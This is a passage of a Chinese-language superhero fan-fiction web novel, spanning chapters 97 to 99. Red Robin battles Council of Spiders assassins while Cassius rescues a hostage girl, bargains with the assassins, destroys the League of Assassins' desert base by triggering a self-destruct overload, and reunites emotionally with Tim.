隐士的眼中闪过一丝嘲弄。他不闪不避，在那名刺客举刀格挡的瞬间，身体以一个不可思议的角度扭转、矮身，如同滑腻的泥鳅般贴着长棍的棍影和刺客仓促挥出的刀锋，瞬间切入对方内圈。 “嗤啦——” 一声轻微的布料撕裂声响起。 陶瓷虎爪轻盈地划过刺客持刀手臂的肘关节内侧，那名刺客的动作就忽然僵住了。 他难以置信地低头看向自己的手臂，没有剧痛，只有一种诡异的麻痹感，瞬间从伤口蔓延至整条手臂，然后疯狂扩散向心脏和大脑。 他的瞳孔瞬间放大，眼神中的惊恐凝固，喉咙里发出“嗬嗬”的杂声，不受控制的吐出白沫，裸。露在外面的皮肤以肉眼可见的速度泛起青紫色，身体立刻如同抽掉骨头般倒下去。 又是一击毙命，毒辣，准确又高效。 不得不说，蜘蛛议会的顶尖高手们对上刺客联盟也是毫不逊色。 男人连杀两名敌人后，甚至没有回头看一眼，径直朝着提姆的方向冲过来，普鲁已经绕到对方后背，对着他连开几枪，逼得隐士不得不放弃击杀红罗宾，转而朝普鲁扑过去。 普鲁迅速释放完枪中的子弹，还没来得及换弹夹，隐士已经近了身，向她伸出致命的虎爪。 “叮！” 连着腕骨的利刃被圆盘形的飞镖击中，隐士的动作变了型，擦着普鲁的衣服划过。女刺客也知道不能被他的利刃碰到，弓起腰向后闪避，又被一脚踹上腹部，直接从楼顶跌下。 普鲁的攻击给红罗宾争取到了宝贵的半秒，他的长棍如同附骨之疽，带着雷霆之势横扫过去。 隐士轻松躲开，可红罗宾的这一击目标并不是他。一声沉闷的巨响从隐士脚下炸开。 这不是爆炸，而是红罗宾用长棍末端狠狠戳中了地面一根锈蚀的蒸汽阀门。 大量滚烫的，带着刺鼻铁锈味的白色蒸汽从破裂的管道口狂喷而出，瞬间淹没了隐士和红罗宾所在的位置。 在白雾中，叮叮当当的硬物碰撞声密集如雨。因为特殊工艺而异常坚硬的陶瓷虎爪和金属长棍碰撞，发出金玉之声。 每一次虎爪扫过他的面门，提姆似乎都能感受到对方爪尖迫不及待想要毒死他的阴冷。每一次成功的格挡也都震得他虎口发麻。 不能再拖下去了。红罗宾眼中闪过一丝决绝，在隐士双爪齐出的瞬间，他没有选择格挡，而是做出了一个极其冒险的动作。 红罗宾猛地将长棍插向地面，身体借着反作用力向后仰，同时，他的双脚狠狠蹬向头顶一根悬垂的、锈迹斑斑的粗大链条。 沉重的链条被他蹬的哗啦啦地剧烈晃动，带动这上方一个巨大的齿轮状金属构件猛地倾斜垂落，目标正是淩空扑向他的隐士。 隐士人在半空无处借力，眼看要被砸中，只能临时强行在空中扭转身体，同时蜷起身子打算躲开。 就在他低头蜷身的瞬间，红罗宾的长棍狠狠抽上他的虎爪。这一击几乎用上了他全部的力气，异常坚硬的利器应声而碎，红罗宾终于能毫无顾忌的近身。 他的双手如同铁钳般死死扣住隐士双腕，脚下用力将他狠狠绊倒。 沉重的倒地声响起，提姆用尽全身力气，将隐士死死压在了地面。他的膝盖顶住对方后腰，双手死死锁住对方手腕，以最快的速度用绳索将对方束缚起来。 提姆大口喘粗气，汗水从面罩下淌出，他不敢松懈，迅速检查了对方的牙齿和衣领，确保没有□□。 就在他完成这一切，准备松一口气时，耳边的通信器响起。是白幽灵。 他接通通信，白幽灵那夹杂着震怒的咆哮声传来：“红罗宾，你还活着吗？” “还没死。”他回应道。 “伤亡情况！” “只剩我和普鲁。”他答道。 “三处突袭点，除了你和提姆，剩下的人全军覆没！这里全是刺客联盟的精锐，我们损失惨重！”他大声吼着。 “知道完整突袭计划的只有你，我，特派员三人，对方能提前准备，除了在战场上的你我，还有谁会泄露？我早告诉过你，特派员是叛徒，而你不相信。”提姆瞪着被他束缚住的隐士，冷冷说道。 “特派员的妻女都在联盟的监视之下，他不可能背叛联盟！” “那麽除了他，还有谁能详细的知道三处突袭地点，让对方提前防备？”提姆反问。 被束缚在地上的隐士忽然笑了起来：“谁告诉你们只有三处的？” 提姆猛地转头，死死盯住对方那双充满嘲弄的眼睛。 对方没有再开口，但只这一个瞬间，提姆就明白了他的意思。 发源地！ 寒意瞬间蔓延，离开前发源地前，他和卡修斯的交谈里，提到这次突袭任务，卡修斯忽然不正常的走神好像有了解释。 他们一直都知道卡修斯那个世界的时间线比这里要快一些，所以，很可能他早就知道这个结果！ 这次突袭虽然也消灭了蜘蛛议会的大部分杀手，但真正的精锐只有隐士一个，那剩下的人呢？ 他们去了此刻防御空虚的发源地，他们真正的目标时拉尔斯！ 巨大的恐惧如同一双巨手，瞬间攥紧了提姆的心脏。他终于意识到自己犯下的致命错误——就是过于相信卡修斯，将他独自留在了最危险的地方。 载着白幽灵的直升机在巨大的轰鸣声中缓缓落下，他是来兴师问罪的。但提姆完全没空搭理他。他刚跳下直升机，提姆就跳了上去：“回发源地，快！” 这次行动的指挥权还是在提姆那里，飞行员不敢耽搁，直接再次起飞。 普鲁已经重新爬上楼顶，白幽灵仰头对着直升机狂喊：“你干什麽去！” 隐士被反手束缚着，倒在地上狂笑。 “立刻回发源地，蜘蛛议会偷袭了那里！”提姆在通信器中大声回应。 引擎的轰鸣声在布达佩斯死寂的钢铁坟墓中越来越响，螺旋桨卷起地上的铁屑与血污，撕裂昏沉的暮色，朝着沙漠深处那个即将迎来最终审判的古老巢xue全速狂飙。 * 发源地，刺客联盟的心脏，此刻正沉浸在一片暴风雨来临前诡异的平静之中。 卡修斯正半躺在护院里那张他强行命令原定为他支起的，镶嵌着宝石的躺椅上，边几上摆着冰镇的葡萄和他要求的从法国空运过来的气泡水。 他穿着一套浅蓝色的纱衣，这会儿正将胸口装饰用的薄纱盖在脸上，起到一个装饰大于实际用途的遮阳作用。他半眯着眼，享受着黄昏的凉爽，手指有一下没一下地敲击着平板计算机的边缘。 屏幕上正显示着发源地控制中心某个隐蔽角落的监控画面，一串串代表程序运行的绿色代码在后台悄然流淌。 突然，刺耳的警报声如同厉鬼尖啸，毫无征兆地撕裂了发源地虚假的宁静。 那是发源地内部防御系统被强行触发，内核局域遭到入侵的最高级别警报。 “敌袭！敌袭！” 卡修斯猛地从躺椅上弹了起来，眼神锐利如鹰，慵懒之色一扫而空。 他们来了。比他预想的更快！ 卡修斯没有丝毫犹豫，如同猎豹般冲向塔姆被软禁的局域。那身碍事的纱衣在高速奔跑中环佩叮当。 第98章 敌人的敌人就是朋友！ 在奔跑的过程中，卡修斯已经完成了换装。之前看似毫无目的的胡作非为其实都是有目的的。他浅蓝色的薄纱被扔在了他奔跑的路上，卡修斯换上了他从后勤处顺来的凯夫拉刺客服，在武器研发场被他故意弄坏的新型短弩早就被他重新修好别在腰间。 他甚至还从武器研发场那里弄到一只半成品的手持喷火器。说半成品是因为这玩意儿的威力不算大，除非有助燃剂，否则很难大范围烧起来。 不过非常时期，只能有什麽用什麽了。 通往塔姆软禁区的走廊里，已经倒下了几名守卫的尸体。他们死状凄惨，有的被锐器割喉，有的浑身发黑显然是中毒，还有的被一种粘稠坚韧的白色丝网死死缠住，活活勒毙。空气中弥漫着浓重的血腥味和一股甜腻的腥气。 卡修斯屏住呼吸，将事先准备好的简易呼吸设备扣在脸上，力求不让任何一寸皮肤暴露在空气中——他看过被暗杀的刺客联盟干部的死状，蜘蛛议会的杀手都擅长用毒，为了不莫名其妙地中招，他必须得全方位的保护自己。 不但如此，卡修斯还将一开始从药圃里拔的曼陀沙华全部碾碎蒸馏，把得出的汁液涂在自己的袖剑上。他久远的记忆里，达米安的制毒老师上课时曾教过他，那时他作为达米安的宠物，有幸旁听过这种蒸馏制毒方法，如今刚好用得上。 看到走廊内的惨状，卡修斯的心沉了下去。 他本以为特派员将最精锐的守卫们派给塔姆，一定会最大限度保证女孩的安全。 也不知道是对手太厉害，还是留在这里的刺客们水平太菜。 他加快脚步，冲进塔姆所在的套房局域。仅剩的两名联盟刺客正被三个穿着紧身黑色蛛网纹作战服、动作迅捷如鬼魅的身影围攻。他们的武器诡异，或是能喷射粘稠蛛网的设备，或是带着倒刺的淬毒利爪，或是如同蝎尾般灵活的金属鞭。 看得出联盟的刺客已经在全力抵抗，但还是力不从心。 一名杀手的金属利爪只划破了其中一名刺客的手臂，那人立即后退了几步，捂着手臂软倒。很快，他露在外面的脸部皮肤迅速变得青黑，很快抽搐了几下，停止了呼吸。 卡修斯缓缓吐出一口气，趁着对方还没发现他，他一手持枪，一手取下腰间短弩，将箭矢装好。 “嗖—”，一枚箭矢破空而出，蜘蛛议会的杀手听到脑后风声，条件反射地闪避。 卡修斯预判了对方的动作，手腕微移，再次扣动机关。几发箭矢接连射出，连发弩的最后一箭命中了杀手的太阳xue。 武器研发场新制的连发弩威力巨大，箭矢瞬间穿透对方脑袋，直接钉进杀手身后的墙体。 在他锁定这名杀手的时候，另两个人也朝他扑了过来。卡修斯左手抬腕，手中的□□17对准目标，连开几枪。 果不其然，对方杀手的制服也防弹，只是被子弹的冲击力打的后退几步，低头看了看自己胸前，冷哼一声，继续朝着卡修斯的方向冲过来。 刚才他杀死的是手持蛛网喷射器的杀手，此刻戴着利爪和手持金属鞭的杀手齐齐向他袭来。 卡修斯弹出腕间袖剑，直直刺向杀手的咽喉。 他手握住那条向他挥过来的鞭子，直接将人拉得贴近自己，杀手大概没想到对方敢徒手握住自己的鞭子，一时间没有防备，被他抓着尾端直接拉了踉跄。 高手过招就在转瞬之间，卡修斯将这个挡住人肉护盾直接挡在向自己袭来的利爪杀手面前。 利爪杀手来不及收回自己带毒的凶器，爪尖勾破了同伴胸口的衣服。 卡修斯立即将人推出去，自己一个侧身翻滚，滚到被自己用箭矢射杀的杀手身边，捡起跌落在地的蛛网喷射器，扣动了它的按钮。 漫天的白色蛛网喷射出来，直接将两个杀手罩在了一起。 卡修斯站在原地等了一会儿，发现对方确实站不起来了，才走近他们。 不知道他们自己是不是做过抗毒训练，两个杀手虽然脸色不好，但还在喘气。 “首领不会放过你们任何一个！” 其中一个杀手愤恨地说着。 卡修斯懒得跟他们废话，他知道变故常常都会在废话之间发生，直接扬手，将两个杀手全部割喉。 等两个人死透了，卡修斯将这个喷射器也挂在腰间，然后蹲下来在他们身上一通乱摸，摸出好几瓶药，也不知道是毒药还是解药，直接揣在手心，走到那个幸存的刺客面前问道：“塔姆呢？” 刺客茫然地看着他，不知道卡修斯说的是谁。 “就是关在这个房间的女孩。”卡修斯迅速解释。 “敌袭警报一响起，特派员就将她带走了。” 刺客看着他手中的药品，老实地回答道。 卡修斯将手心摊开问他：“你知道解药是哪一瓶就自己拿。” 这个刺客也被划伤手臂，但在被抓伤的瞬间，他就狠心砍断了自己的手臂。因此中毒还不算太深。 刺客立即点了点头，用完好的那只手从卡修斯手心里拿走一个绿色的药品：“谢谢。” 卡修斯挑眉：“你还挺有礼貌的。” 刺客快速打开药瓶，将解药服下，没说话。 “特派员去哪儿了？” 卡修斯再问。 “应该是地下掩体的备用控制室。”刺客诚实地回答道。 卡修斯点了点头，站起来准备离开。 走之前他微微转头，说：“我看你还挺想活的，好心提醒你，不想死现在就离开，当然，你要想为拉尔斯那个老登鞠躬尽瘁的话，当我没说。” 说完，他加快步伐，跑着离开了这里。 一路上，卡修斯朝着尸体蔓延的地方深入，他对尖锐的叫喊声和激烈的枪械交火声置若罔闻。 路上遇到几个惊慌失措，如无头苍蝇般乱撞的侍从和侍女，卡修斯除了不确定路的时候，抓住其中一个问两句，其他时间看都不会看他们一眼。 很快，他就顺着零星的尸体走到了发源地的地下掩体。 与外面不同的是，这里安静极了。 卡修斯的心情沉重极了，生怕自己来晚一步。 “塔姆！”他忍不住大叫起来，如果那姑娘还活着的话，能给自己一点反应。 “卡修斯？！”塔姆惊恐的叫声从洞xue深处传来。卡修斯迅速循声跑了过去。 他一脚踹开洞xue最深处的一扇门，赫然看到特派员身上爬满了密密麻麻的小蜘蛛。他的表情十分狰狞，目眦欲裂，死不瞑目。 卡修斯浑身的鸡皮疙瘩都起来了。 控制台的角落有一瞬的反光，卡修斯迅速看过去。他听到那里传来的努力压抑着的颤抖的呼吸声。 “塔姆？”他像是怕吓到对方似的，又轻轻叫了一声。 女孩终于缓缓探出半个头，她露出来的半张脸面容惨白。手上还静静握着一把不知道从哪儿来的拆信刀。 看到他后，她并没有放松警惕，而是更惊恐了。 卡修斯这才想起来，自己脸上还带着简易面罩。 他赶忙将面罩摘下来：“是我。” 看清他的瞬间，女孩的眼泪夺眶而出，但很快，她的脸上又被极度惊惧的眼神替代。 卡修斯下意识矮身，直接一个翻滚，滚到女孩面前，然后转身看向门口。 一个几乎两人高，全身棕色绒毛，长着6只手臂和四只复眼的怪物从门外钻了出来，跟他一块儿出现的是一个穿着绿色兜帽风衣的黑发男人。 看到塔姆和卡修斯，那人意外的抬了抬眉毛：“漏网之鱼吗？” “退后藏好。”卡修斯吩咐塔姆。 听到卡修斯的嘱咐，还有人样的杀手更加意外了：“你也是刺客联盟的人？感觉不像啊。” 说罢，他又说：“不过无所谓，反正今天在这里的所有人都要死。” 说着，密密麻麻的小蜘蛛顺着他的绿色风衣爬出来，落到地上，朝着卡修斯爬去。 卡修斯感觉自己浑身的鸡皮疙瘩都起来了。他抓着腰间的蛛网喷射器对着男人一顿狂喷。 男人动作敏捷地往后撤了几步，白色的蛛网全部落在了地上。 “拿这玩意对付我？认真的？”男人笑了，地上的蜘蛛爬的更快了。 卡修斯不知什麽时候，已经将喷火器拿在了手里，他对着地上的蛛网就喷了过去。 吱吱嘎嘎的声音响起，很快，空气里升起一股蛋白质烧焦的特殊焦糊味。 男人的脸色变了：“歌利亚，杀了他！” 他身后那个半蛛半人的怪物立即向卡修斯扑了过来。 “等一下，我要和‘漫游者’对话！”卡修斯的袖剑划过这个被叫做“歌利亚”的怪物的腹部，但只擦破了他一点皮毛。 绿衣服男人奇怪的咦了一声：“你知道‘漫游者’？” “我知道你们想做什麽，我可以帮你们。”卡修斯将塔姆护在身后，快速说道。 他知道这里至少有七个顶级杀手，而且还都是经过身体改造的那种。他一个人无法再面对这麽多超级杀手，更没办法在带着塔姆的情况下和他们打斗。这种事大概也只有提姆能做到了。 歌利亚已经停止了攻击，绿衣男人颇感兴趣地说：“你说说看，我们想做什麽？你又打算怎麽帮我们？” 说话间，“漫游者”也出现了，果不其然，她的身边还有四个形状各异的杀手。 他们齐齐出现在这里，应该是将发源地的刺客杀的差不多了。 “我知道你们想杀死拉尔斯·奥·古，想摧毁他的刺客帝国。从目标来看，我和你们是盟友而不是敌人。” 卡修斯看着那个衣着清凉，留着波浪卷发，拥有小麦色皮肤的艳丽女人说。 “你认识我？” 女人，也就是“漫游者”朝卡修斯走近一步。 “别再过来了，我确实知道你，碰谁谁死。”卡修斯说。 女人停住脚步，露出饶有兴致的笑容：“那你倒是说说看，你要怎麽帮我们？” 卡修斯顿了一会儿，说道：“发源地的恶魔之首是假的，真正的拉尔斯在哪儿，现在恐怕只有我知道。” 除了漫游者，其他几个刺客都惊讶的互相对视。他们不相信卡修斯的话，如果这儿的恶魔之首是假的，外面那些被他们杀死的成百的刺客，拼上性命又是在保护什麽？ “既然你们这麽关注拉尔斯·奥·古，就应该知道，不久前，就有传言说他已经死了。” 这倒是真的。因为拉尔斯身死的消息是丧钟放出来的，斯莱德作为暗网上价格最高的雇佣兵，如果他在这种事上说谎，被人戳穿的话，对他的口碑来说是致命的打击，这也是为什麽大家都深信不疑的原因。只是不知道后来他为什麽又会活过来，这也是蜘蛛议会打算亲自动手的原因。 “丧钟杀死的就是拉尔斯的其中一个替身。拉尔斯从不透露自己真正的行踪，连发源地的刺客们都不知道，留在这里的只是个冒牌货。”卡修斯说。 “证明给我看。”漫游者思考了一会儿，立即提出自己的要求。 卡修斯也点头：“当然，这个要求很合理，只不过需要你们暂时回避，不要这麽多人都在这儿，只留下一个人假装追杀我们就可以。人太多的话，拉尔斯是不会出现的。” 刚才那个绿衣男人很愿意认领这个任务。 他脸上挂着恶意的笑容，举起手上的弯刀：“你们有五秒的时间逃跑。” 卡修斯二话不说，拽着塔姆往电梯位置跑去。 “不怕他趁机逃跑吗？”漫游者身边一个腰间挂满毒囊的女人低声问。即便他们是同伴，大家也不敢离漫游者太近。 “他跑不掉的。”漫游者笃定的说。 卡修斯抓着塔姆一路跑到电梯前，狂按按钮。塔姆在一旁都快疯了：“这种时候我们难道不该走楼梯吗？” “别担心，站在我身边。”卡修斯冷静地说。 但塔姆真的不得不担心。眼看着身后越来越近的举着弯刀的绿衣男人，她就忍不住害怕。 恐怕她这辈子都忘不了那些密密麻麻的蜘蛛爬到劫持他的那个男人身上的瞬间了。 电梯门打开，是“拉尔斯”。 拉尔斯抽出腰间佩刀，挡住卡修斯的去路：“你想逃跑吗？” 身后的追兵在看到拉尔斯之后，脚步就慢了下来，他停在卡修斯的身后，像是封住他的退路。 “当然不是。” 卡修斯忽然暴起。 他借着达米安曾教她的跳跃技巧，瞬间扑向男人。 小臂间的袖剑在身披绿色大氅的老人颈部划开一条口子。 假拉尔斯在意识到不对的时候，已经身体后仰，但他的颈部还是被卡修斯的袖剑划开一道细小的血线。 “你！” 他来不及说第二个字，就看到远处从备用指挥室钻出来站到走廊上的另外几个杀手。 假拉尔斯转身想跑。 但他发现自己的手脚不听使唤了。 麻痹感从脖颈受伤的位置迅速蔓延到了四肢。 他“噗通”一声软倒在地，想说些什麽，已经完全说不出来了。 卡修斯也没有说话，这一次，他的袖剑狠辣决绝地刺入假拉尔斯的喉咙。正面刺入，后颈穿出，动作干净利落，没有丝毫犹豫。 站在卡修斯身后的绿衣男人原本饶有兴致的看着，当真当卡修斯如此果决地杀死拉尔斯时，他站直了，表情也变得严肃起来，像是根本没想到面前的男人会真的这麽做似的。 假拉尔斯的眼睛瞪得滚圆，里面充满了难以置信的惊愕和恐惧。他的喉咙里发出咯咯的声响，身体剧烈地抽搐了几下，死死抓住卡修斯刺入他咽喉的手臂，最终，眼中的光芒彻底熄灭，身体软倒在地。 卡修斯抽回自己的袖剑，血迹立即从伤口处蔓延出来，将他白色的西装衬衣领口瞬间染的鲜红。 整个走廊陷入了诡异的安静，只剩下远处隐约传来的厮杀声。 7个杀手已经走到了拉尔斯面前，包括漫游者在内的所有人都用异样的眼光看着卡修斯。 他转过身，没有看其他人，而是看着那个艳丽的女人。他知道她才是这些人中的首领。 “你可以去检查他的尸体，看看我说的是不是真的。” 说着，他身体微微侧移，将通往假拉尔斯尸体的路让开，同时以一种保护者的姿态，隐隐挡在了她和蜘蛛议会杀手之间。 漫游者走上前，用脚扒拉了地上的尸体一下，又垂眸盯着他看了一会儿，接着蹲下身，伸手摸了摸对方的肌肉和脸颊，才说：“确实是假的。” 她和拉尔斯差不多，也是一位永生者，只不过拉尔斯靠的是撒拉路池，而她是因为被毒蜘蛛咬过，得到了永生和碰谁谁死的超能力。所以她能辨别一个人到底是不是永生者。面前这具尸体确实只是一个普通人。 卡修斯甩了甩袖剑上的血珠，冷静地说：“现在我们可以谈合作了吗？” “合作？”漫游者站起来看向他，声音听不出喜怒。 “没错。”卡修斯的眼神坦荡而直接，“我知道你们的目标是拉尔斯·奥·古。巧了，我也想让他死。” “哦？为什麽？” 这次说话的是鳏夫，和卡修斯在沙漠中交过手的杀手。 “我们俩交过手。”卡修斯看了他一眼，继续说，“那天之后我们被拉尔斯俘虏，真的那个。他为了对付你们，将我和这个女孩扣为人质，让红罗宾——沙漠之中另一个人，提前制定消灭你们的计划。他为了羞辱我，给我带上了项圈，还强行让我以男人的身份成为他的侍妾。” 说着，他稍微拉开脖颈处的作战服，露出下面贴着皮肤的金属项圈。 七个人中的男性杀手们纷纷露出了一丝微妙的同情，代入一下自己，确实恨不得宰了这个老家夥。 “现在只有我知道他在哪儿，而且我也有机会接近他。” “你想怎麽合作？”漫游者双手环臂，问道。 漫游者的语气充满了怀疑，她还是不相信仅仅因为这种羞辱，卡修斯就要杀掉拉尔斯。要知道他可不是什麽好杀的对象，否则她也不会带着蜘蛛议会的全部精锐来突袭发源地。 “我帮你们炸掉发源地，包括刺客联盟其他的主要基地。”卡修斯说，“这里是他经营了数百年的心脏，他的拉撒路池也在这里。” 他看着面前的杀手们，缓缓说道：“炸掉他的老巢，就是我的投名状。” “条件？” 漫游者问。如果他真的能炸毁拉尔斯的发源地，那恶魔之首绝对不会放过他。倒是确实可以相信他和拉尔斯就是你死我活，不死不休的关系。 “我和这位小姐必须毫发无伤的离开这里，还有，”他看着鳏夫说，“今后，在任何情况下，蜘蛛议会都不可以伤害红罗宾。” 他顿了顿，补充道：“红罗宾是这次爆炸的主要策划人。到时相信拉尔斯会将仇恨目标集中在我们两个身上，蜘蛛议会可以继续隐秘行事。这个合作对你们来说难道不是有百利而无一害吗？” 漫游者和她身边的杀手们交换了几个眼神。卡修斯说的没错，炸掉刺客联盟的发源地，这绝对是给拉尔斯最响亮的耳光。 远处，联盟残余力量的抵抗声越来越微弱，蜘蛛议会杀手的推进似乎很顺利。 “你们快点决定吧，引爆程序已经开始运作了，再犹豫下去，我们就一起埋在这儿吧。我一个人让你们这麽多人垫背，好像也还不错。” 利诱结束后，卡修斯开始威逼。 “成交。”漫游者终于做出了决定，“不过我要亲眼看你引爆这里。” 她很好奇他们是怎麽做到的。 “跟我来。”卡修斯没有犹豫，转身朝着主控室方向走去，经过塔姆的时候飞快低语一句：“别怕，提姆很快就会来。” 塔姆看着卡修斯镇定的眼神，用力点了点头，紧紧跟在他身后。 漫游者吩咐鳏夫和绿衣男子上去安排其他杀手撤退，自己则带着剩下的人跟在卡修斯身后。 主控室的大门敞开着，里面一片狼藉，各种精密仪器屏幕闪烁着不祥的红光或者已经彻底熄灭，特派员的尸体上还残留着一些爬来爬去的蜘蛛。 卡修斯无视了这一切，径直冲到主控台前。提姆留给他的平板计算机早已接入系统，修改程序也已运行完毕。他所需要的，只是最后运行一个让刺客联盟所有基地计算机都过载的程序。 漫游者并不懂技术，但她的神情如同毒蛇般盯着他的每一步操作。 卡修斯深吸一口气，手指敲下最后一个键。 整个基地的广播发出尖锐的过载警报，相连的发电机发出也开始冒出火花。 发源地的自毁程序被迫开启，鲜红的一分钟倒计时赫然出现在主控台的error的界面上。 “你们还不离开吗？” 卡修斯转过身，看着漫游者说。 女人深深看了他一眼：“走！” 她一边说，一边带着其他杀手转身疾步离开。 塔姆抓住卡修斯的手臂，看到他们走远了才敢悄悄问：“这个是假的吧？” 卡修斯微笑：“当然是真的。” 塔姆的眼睛瞪大了。 “我们也走吧。” 卡修斯带着她开始跑，飞速朝着地面位置狂奔。 倒计时在空荡荡的主控室屏幕上归零。 “轰——！” 第一声惊天动地的爆炸声响起。仿佛沉睡的远古巨兽被惊醒，发出了毁灭的咆哮！ 整个大地剧烈地颤抖起来，坚固的石壁如同纸糊似的裂开，沙石和砖块从天花板簌簌落下。 紧接着，爆炸声开始绵延，震耳欲聋的响声从各个内核局域响起，武器库，通信塔，训练场，能源中枢，甚至拉尔斯那奢华的寝殿也开始坍塌。 整座创建在沙漠深处的古老堡垒就这样在震耳欲聋的轰鸣和冲天的火光中分崩离析。流沙被巨大的震动搅动，如同贪婪的巨兽般开始疯狂吞噬着坠落的建筑残骸和来不及逃走的生命。 “卡修斯！”塔姆被剧烈的晃动震动的站立不稳，惊恐地尖叫。 卡修斯一把抓住他的手腕，力道大得惊人：“这边！” 他拉着塔姆，朝主控室后方一条不起眼的，标注着“禁止通行”的狭窄信道冲去。 这是他许多年前从发源地逃离时的地下信道，也是唯一可能避开主要爆炸点和流沙陷阱的逃生路径。 身后的主控室天花板轰然塌陷，灼热的气浪和碎石追着他们的脚步席卷而来，卡修斯抓着塔姆的手，在弥漫的烟尘和刺鼻硝烟味中狂奔。 黑色武装直升机终于出现在伊斯坦布尔远郊的沙漠边缘，提姆死死抓着驾驶杆，指关节因为过度用力而泛白。他的眼睛死死盯着下方那片冲天的火光和不断塌陷的废墟，心脏像是被一只无形的大手攥紧，每一次跳动都带来窒息般的剧痛。 完了，还是来晚了吗？ 提姆焦灼的查找着一切可能的降落点，最终，他选择在一片相对平坦，远离主要爆炸火光的沙丘边缘迫降。 直升机重重砸在沙地上，激起漫天沙尘。机身发出令人牙酸的扭曲呻吟。提姆来不及等螺旋桨完全停转，一脚踹开变形的舱门，踉跄着冲了出去。 “卡修斯！塔姆！”他嘶哑的呼喊着，声音在爆炸的余波和风沙中显得如此微弱。 曾经宏伟的堡垒已经化作一片断壁残垣，到处都是燃烧的残骸，焦黑的尸体和刺鼻的死亡气息。 提姆疯了一样冲向那边还在不断塌陷、爆炸的火海废墟，随后赶到的普鲁拉都拉不住他。 “卡修斯！回答我！”他徒手扒开滚烫的碎石，在呛人的烟尘中拼命搜索。他不能接受，不能接受再失去一个重要的人，因为他的一次错误判断！ 就在他近乎崩溃，几乎要放弃希望，跪倒在这片象征着他巨大失败的废墟时，旁边一堆相对较小的，由断裂石柱和扭曲金属构成的瓦砾堆突然动了一下。 紧接着，几块碎石被从内部用力推开。 第99章 我最喜欢你啦！ 一个灰头土脸，头发还被烧焦了一绺，身穿刺客联盟作战服的身影艰难地从缝隙中钻了出来。 提姆虽然内心悲痛，但身体的作战反应还是让他立即将手中的长棍挥过去，棍端直指对方的鼻尖。对方也立刻抬起右臂，伸出袖剑去格挡。双方都看到自己熟悉的武器，同时顿了一下。 “红罗宾？”卡修斯语气略带一些惊喜。 提姆终于认出面前这个脸被灰尘和沙土遮挡的几乎看不出原本面貌的就是自己要找的人。 他几乎是扑了过去，伸手用力将人拉了上来。 卡修斯爬上后，也转身趴下，将同样狼狈不堪但看起来还算完好的女孩拉了出来。 两人都上来后，卡修斯终于来得及喘匀一口气，他躬身撑着膝盖，一边呸呸呸地吐着嘴里的沙土，一边骂骂咧咧地拍打着脸上身上的灰尘：“咳咳……呸！拉尔斯这个狗东西，把基地建在这种鸟地方，呛死老子了……” 他骂了一会儿，才感觉到身边的人是不是过分安静了，于是抬头，刚好看到如同石化般站在原地的红罗宾。 卡修斯没法通过他的面罩看到对方的表情，但看着他裸露出来的下半张脸，他也能感受到对方还来不及从悲痛转化为惊喜的茫然表情。 “嘿，你看，我这不是好好的麽，毫发无损的完成了你给的任务，别害怕，我命大得很，才不会这麽容易挂掉呢。” 卡修斯伸手捏了捏红罗宾露在外面的脸颊，试图安慰看上去受到惊吓的红罗宾。 提姆确实吓到了。 他呆呆地任由对方脏兮兮的手捏上自己的脸，看着他灰扑扑的脸上那双异常明亮，甚至还带着点劫后余生的喜悦的眼睛，再看着他身边跪坐在地上，还没回过神来的塔姆，所有的恐惧，自责，绝望，煎熬，在这一瞬间如同决堤的洪水，冲垮了他所有的理智和克制。 “卡修斯·希尔！” 他发出一声如同受伤野兽般的嘶吼，再也顾不上什麽卡修斯说的什麽年龄，什麽原则，在卡修斯被他突然爆发出来的吼声吓了一跳的惊愕目光中，用尽全身力气地将他死死抱进了怀里。 那力道之大，几乎要将卡修斯揉碎，然后将他整个人都嵌进自己的骨血里。 他不停地收紧手臂，像是想要透过两人身上的制服，感受到对方的体温和心跳，确认眼前这个人不是幻觉，也不是废墟里升起的幽灵，而是真真切切，温热地活着的存在。 卡修斯感觉到提姆的身体在剧烈地颤抖，能感受到不断落在自己脖颈的眼泪。 这个瞬间，卡修斯承认被他汹涌又热切的感情冲击到了。他知道提姆喜欢自己，但从没想过，自己已经成为了他心里这麽重要的存在。他听到提姆埋首在自己肩头，喉咙里发出压抑到极致的，如同呜咽般的喘息，他想说没那麽严重，你的反应是不是有点夸张了，但他感觉自己的嗓子好像也被沙子堵住了似的。所有的语言在这一刻都显得有些苍白，整个世界好像也只剩下这个用尽全力，像要把自己融进对方生命的拥抱。 他被勒得差点背过气去，下意识地想要挣扎，但感受到怀里身体那无法抑制的剧烈颤抖和颈间滚烫的湿意，抬起的手顿了顿，最终，有些无措地轻轻回抱住提姆，一下下拍着他剧烈起伏的后背。 火光在他们身后冲天而起，映照着这片罪恶的废墟，也照亮了废墟边缘那两个紧紧相拥的身影。 卡修斯任由他这样紧紧抱着自己近一分钟的时间，直到终于注意到朝他们走来的白幽灵和普鲁，才快速拍着红罗宾的后背，说：“行了，快要喘不过气了……有人过来了，注意形象……” 可惜提姆完全不理他。 卡修斯艰难地从肺里挤出声音，试图让他松开自己：“抱歉啊，吓到你了，但是我真的没事，咱能找个私密点的地方释放情绪吗……” 他话还没说完，眼角的余光猛地瞥见提姆身后那片尚未完全坍塌的阴影里，无声无息地浮现出几道诡异的身影。 为首的女人，波浪卷发在身后夕阳和黄沙的衬托下泛着暗红色的光泽。她小麦色的肌肤也沾着灰尘和沙土，却无损那份致命的艳丽。这正是这次袭击发源地任务的首领，“漫游者”。 她身边的6个刺客们依次从阴影里爬了出来，从卡修斯的角度看上去，他们就像从地狱裂缝里爬出来的恶鬼。 漫游者脚步轻盈地踏过滚烫的碎石和焦黑的残肢，一步步逼近相拥的两个人。 卡修斯全身的肌肉瞬间绷紧，拍打同一母后背的手猛地改为用力推他：“红罗宾 ，小心身后！” 提姆的反应快如闪电，在卡修斯示警的同时，他已经松开紧拥着卡修斯的手，金属长棍带着撕裂空气的尖啸声横在胸前，将卡修斯和刚刚挣扎着站起来的塔姆严严实实护在身后。 他的嘴唇紧抿，白色护目镜下的眼神锐利如刀，死死锁定正在靠近自己的女人。 “当心，只要被她碰到，就会中毒。”卡修斯在他身后提醒。 提姆看着渐渐显露痕迹的另外6个刺客，观察着他们的形态和武器，判断自己应该用怎样的战术来以少胜多。 白幽灵带着自己刚从地底下挖出来的，仅存的十几个刺客，也狼狈地从身后冲了出来。看到漫游者一行人，他沟壑横生的脸上瞬间涌起滔天怒火和一种近乎疯狂的狰狞。 “蜘蛛议会！”白幽灵的声音既尖锐又沙哑，他用仇恨的眼神看着面前7个杀手：“你们这些阴沟里的爬虫！竟敢毁掉主人的发源地！准备好迎接恶魔之首的怒火了吗？！那将是你们无法想象的炼狱！” 